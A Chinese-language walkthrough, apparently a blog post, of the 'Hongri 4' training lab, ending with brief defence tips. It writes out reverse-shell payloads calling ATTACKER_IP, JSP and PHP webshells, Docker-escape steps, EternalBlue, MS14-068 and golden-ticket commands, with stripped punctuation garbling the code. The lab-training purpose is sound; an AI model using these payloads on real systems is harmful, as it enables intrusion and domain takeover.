ATTCK 红日4靶场:从外网到域控的完整攻击链剖析

📅 2026/7/16 13:16:47
ATTCK 红日4靶场:从外网到域控的完整攻击链剖析
1. 靶场环境搭建与初始信息收集红日4靶场模拟了一个典型的企业内网环境包含三台关键主机Ubuntu主机192.168.93.136运行Docker容器开放Struts2、Tomcat、phpMyAdmin服务Win7主机192.168.75.130域成员机器凭证为douser:Dotest123DC域控主机192.168.75.132Windows Server 2008凭证为administrator:Test2008启动Docker环境的命令如下sudo docker start ec 17 09 bb da 3d ab ad使用Nmap进行基础扫描nmap -sC -sV 192.168.93.136扫描结果显示三个关键端口2001端口Struts2文件上传页面2002端口Tomcat默认页面2003端口无密码的phpMyAdmin2. 外网漏洞利用实战2.1 Struts2漏洞突破S2-045使用工具检测到存在S2-045漏洞时可以直接执行命令反弹shell。这里推荐使用改进版的EXP避免被拦截# 改进的Payload构造示例 import requests headers { Content-Type: %{(#testmultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdbash -c \bash -i /dev/tcp/ATTACKER_IP/4444 01\).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} } requests.get(http://target:2001, headersheaders)2.2 Tomcat漏洞利用CVE-2017-12615当发现Tomcat允许PUT方法时可以使用特殊技巧绕过限制PUT /shell.jsp%20 HTTP/1.1 Host: 192.168.93.136:2002 Content-Type: application/x-www-form-urlencoded Content-Length: 532 %page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %2.3 phpMyAdmin文件包含漏洞CVE-2018-12613利用会话文件包含getshell的完整流程创建测试数据库和表插入PHP代码SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php通过包含漏洞访问http://192.168.93.136:2003/?targetdb_sql.php%253f/../../../../../../tmp/sess_[SESSION_ID]3. Docker逃逸技术详解3.1 环境检测与逃逸方法选择确认Docker环境的命令ls -alh /.dockerenv # 存在则确认是容器环境 cat /proc/1/cgroup | grep docker # 查看cgroup信息特权模式检测cat /proc/self/status | grep CapEff # 当值为0000003fffffffff或0000001fffffffff时为特权模式3.2 特权模式逃逸实战挂载宿主机磁盘的完整步骤mkdir /mnt/host mount /dev/sda1 /mnt/host # 挂载宿主机根分区 # 写入SSH密钥 echo ssh-rsa AAAAB3N...[你的公钥] /mnt/host/root/.ssh/authorized_keys # 或者添加计划任务 echo * * * * * root bash -i /dev/tcp/ATTACKER_IP/5555 01 /mnt/host/etc/crontab3.3 非特权逃逸方案当不是特权容器时可以尝试Docker Socket逃逸find / -name docker.sock 2/dev/null # 如果找到且可写直接操作宿主机Docker内核漏洞利用# 下载预编译的dirtyCow利用程序 wget http://ATTACKER_IP/dirtycow -O /tmp/dc chmod x /tmp/dc /tmp/dc4. 内网横向移动技术4.1 网络拓扑探测获取内网信息的关键命令ip a # 发现192.168.75.0/24网段 arp -a # 查看ARP缓存 netstat -antp # 查看网络连接4.2 MS17-010漏洞利用使用Metasploit的完整配置use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.75.130 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4444 set AutoRunScript post/windows/manage/migrate exploit4.3 隧道技术对比Chisel使用示例# 攻击机服务端 ./chisel server -p 8080 --reverse # 目标机客户端 ./chisel client ATTACKER_IP:8080 R:socksFRP配置方案# frpc.ini [common] server_addr ATTACKER_IP server_port 7000 [socks5] type tcp remote_port 1080 plugin socks55. 域渗透实战5.1 信息收集与定位域控关键命令集合net config workstation # 确认域环境 nltest /dclist:DEMO # 列出域控制器 nslookup -typeSRV _ldap._tcp.dc._msdcs.DEMO.COM # DNS查询5.2 MS14-068漏洞利用完整利用流程生成伪造票据MS14-068.exe -u douserDEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.75.132 -p Dotest123清除并注入票据mimikatz # kerberos::purge mimikatz # kerberos::ptc TGT_douserDEMO.COM.ccache验证域控访问dir \\WIN-ENS2VR5TR3N\c$5.3 黄金票据制作获取必要信息后mimikatz # kerberos::golden /user:Administrator /domain:DEMO.COM /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:哈希值 /ptt6. 攻击链防御建议针对每个攻击阶段的关键防御措施Web应用层及时更新Struts2、Tomcat等中间件phpMyAdmin强制身份验证并限制IP访问Docker防护# 禁止特权模式 docker run --cap-dropALL --security-optno-new-privileges内网安全启用SMB签名要求部署网络分段和微隔离域安全# 检测异常Kerberos票证 Get-WinEvent -FilterHashtable {LogNameSecurity; ID4769} | Where-Object {$_.Message -match 0x0}